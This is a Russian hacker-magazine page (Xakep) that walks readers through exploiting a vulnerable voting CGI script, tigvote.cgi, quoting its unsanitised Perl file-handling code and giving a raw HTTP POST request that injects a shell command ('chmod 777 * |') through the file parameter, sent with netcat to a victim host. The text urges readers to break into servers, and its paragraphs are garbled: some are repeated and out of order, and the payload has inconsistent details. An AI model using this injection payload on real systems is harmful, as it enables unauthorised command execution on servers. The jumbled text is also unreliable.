ДЕТСКИЙ ВЗЛОМ - ищем бажную CGI

Скрыпников Сергей aka Slam

Спецвыпуск Xakep, номер #025, стр. 025-026-3


"TIGVOTE.CGI

Местонахождение: /cgi-bin/tigvote.cgi (как раз где мы нашли).

Уязвимость:

Данный скрипт позволяет организовывать голосование на сайте, и имя файла с базой по голосам передается скрипту как параметр. При внимательном рассмотрении исходного текста скрипта можно найти место, где происходило чтение данных формы и присвоение некой переменной имени файла:

$in = $ENV{\'QUERY_STRING\'};

@temp=split /&/,$in;

$in=@temp[1];

@temp=split /=/,@temp[0];

$fileName=\'vote\'.@temp[1].\'.txt\';

$fileIP=\'ip-\'.$fileName;

Как ты видишь, отсутствует проверка на различные символы, в том числе и | \ /. Двигаясь дальше, мы видим строку open FILE,"$fileName";. Не происходит стандартной обработки переданной строки, и все небуквенно-цифровые символы передаются в uuencode, посему из браузера не удастся осуществить эксплуатацию уязвимости.

Использование:

Ниже следует пример запроса, который исполнит команду echo Hi на хосте-жертве. Отдать такой запрос можно, к примеру, неткатом (почти тот же тЁлнет):

[hax0r@foo.com]$ cat zapros

POST /cgi-bin/tigvote.cgi HTTP/1.1

Accept: */*

Accept-Language: ru

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent:Agent Smith

Host: www.kronex.ru

Content-Length: 33

Connection: Keep-Alive

file=chmod 777 * |&tigvote=cho+hi

[hax0r@foo.com]$ nc www.victim.com < zapros > out.log".

Вот и все ;). Ты думал, это сложно? Оказывается, легче некуда ;). Но учти, что количество серваков с дырявыми скриптами уменьшается (я имею в виду те серваки, которые интересно ломать, а не www.vasiapupkin.h1.ru).

Если у тебя появятся какие-либо вопросы, мой мыл всегда открыт для тебя.

Автор не имеет никакого отношения к взлому, ему все это приснилось. И вообще я - Менделеев :).

Но теперь пришло то время, когда мы расскажем тебе о том, как можно быстро и без особых напрягов сломать какой-нибудь сервак.

Как работает CGI-скрипт? Я, конечно, могу впихнуть тебе какое-нибудь техническое руководство, но пользы от этого будет мало. Поэтому объясню, как все происходит, на пальцах.

Вот и все ;). Ты думал, это сложно? Оказывается, легче некуда ;). Но учти, что количество серваков с дырявыми скриптами уменьшается (я имею в виду те серваки, которые интересно ломать, а не www.vasiapupkin.h1.ru).

Назад на стр. 025-026-2  Содержание